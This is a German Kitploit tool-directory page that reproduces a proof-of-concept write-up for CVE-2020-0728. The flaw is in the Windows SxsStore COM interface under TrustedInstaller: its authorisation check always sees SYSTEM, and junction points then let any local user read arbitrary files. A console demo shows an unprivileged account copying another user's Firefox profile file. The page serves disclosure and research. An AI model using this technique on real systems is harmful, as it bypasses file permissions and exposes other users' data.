Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-0728 — Proof-of-Concept-Code für CVE-2020-0728 | Kitploit
Tools/GitHubGitHub/irsl/cve-2020-0728
Privilege EscalationSchwachstellenanalyseExploitationPost-ExploitationBinary-Exploitation
GitHubirsl/cve-2020-0728

CVE-2020-0728

Proof-of-Concept-Code für CVE-2020-0728

Repository anzeigen
4612vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-0728

Details

Der TrustedInstaller.exe-Dienst läuft als NT_AUTHORITY\SYSTEM und hostet den Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) COM-Dienst zusammen mit dem Interface ISxsStore. Die Zugriffsberechtigungen (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) dieses Dienstes gewähren jedem Benutzer auf dem lokalen System Zugriff. Das ISxsStore-Interface stellt 4 Methoden bereit:

root@kitploit:~
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
    HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
    HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
    HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
    HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}

Bei Aufruf kontaktiert die Implementierung das ICbsWorker-Interface, das von TiWorker.exe (ebenfalls als NT_AUTHORITY\SYSTEM ausgeführt) gehostet wird, um eine ICbsSession8-Sitzung zu erhalten, und ruft praktisch dieselben Methoden auf diesem Interface auf. Die eigentliche Logik ist in der Bibliothek sxsstore.dll implementiert; die Autorisierung findet in CSxsStore::BeginAssemblyInstall statt:

root@kitploit:~
uVar1 = SxspEnsureComClientIsAdmin((void **)this);

Dies erfolgt über CoImpersonateClient+CheckTokenMembership-Aufrufe.

Das Problem ist: Wird die vom TiWorker.exe-Prozess gehostete Sitzung über den TrustedInstaller.exe-Wrapper aufgerufen, trifft die implementierte Autorisierungslogik immer auf Verbindungen von NT_AUTHORITY\SYSTEM und gewährt somit jedem Zugriff.

Die angeforderten Assemblys werden unter C:\Windows\WinSXS abgelegt – durch die in wcp.dll (Windows::COM::CComponentStore::InternalTransact) befindliche Implementierung – und scheinen ausreichende Sicherheitsmaßnahmen zu besitzen, um diese Methodenaufrufe vor einem Ausbrechen aus diesem legitimen Zielverzeichnis zu schützen, aber die Quell-Dateien, auf die das Manifest verweist, können über Junction-Points missbraucht werden.

Dies kann ausgenutzt werden, um den Dateisystem-DAC zu umgehen und beliebige Dateien im lokalen Dateisystem zu lesen, wie unten demonstriert:

root@kitploit:~
	Microsoft Windows [Version 10.0.18362.592]
	(c) 2019 Microsoft Corporation. All rights reserved.

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
	desktop-43rnlku\unprivileged

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
	Access is denied.


	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
	sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
	Creating helper junction sxscopy.junction -> C:\
	Junction created for sxscopy.junction <<===>> C:\
	Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
	Exploitation has succeeded, copy of the source file was placed inside WinSXS
	Copy has succeeded!

	C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
	[Install308046B0AF4A39CB]
	Default=Profiles/5bqqo33l.default
	Locked=1

	[Profile2]
	Name=johndoe
	IsRelative=1
	Path=Profiles/5bqqo33l.default
	Default=1

	[Profile1]
	Name=default
	IsRelative=1
	Path=Profiles/x89vbmzf.default

	[Profile0]
	Name=default-release
	IsRelative=1
	Path=Profiles/1kmhc44f.default-release

	[General]
	StartWithLastProfile=1
	Version=2

Das wcp-Framework ist tatsächlich recht komplex und bietet verschiedene 'Installer' (z. B. GenericCommand-Ausführung unter den 'fortgeschrittenen'), aber das oben zugängliche Interface scheint auf die 'primitiven Installer' beschränkt zu sein. Ich konnte das Auslösen von CRegistryInstaller::CommitChanges auslösen, das eine Log-Ausgabe in C:\Windows\Logs\CBS\CBS.log erzeugte, mit Zeilen wie:

root@kitploit:~
2020-01-18 15:58:16, Info                  CSI    0000000c Registry installer wrote xxx values

Es wurden jedoch tatsächlich nie API-Methoden aufgerufen, um etwas in der Registry zu ändern.

Credits

Der obige Bericht zusammen mit dem PoC-Code wurde von Imre Rad eingereicht, wurde aber auch von Forschern von NCC identifiziert (tatsächlich einige Monate früher).

Links

https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728

Tool herunterladen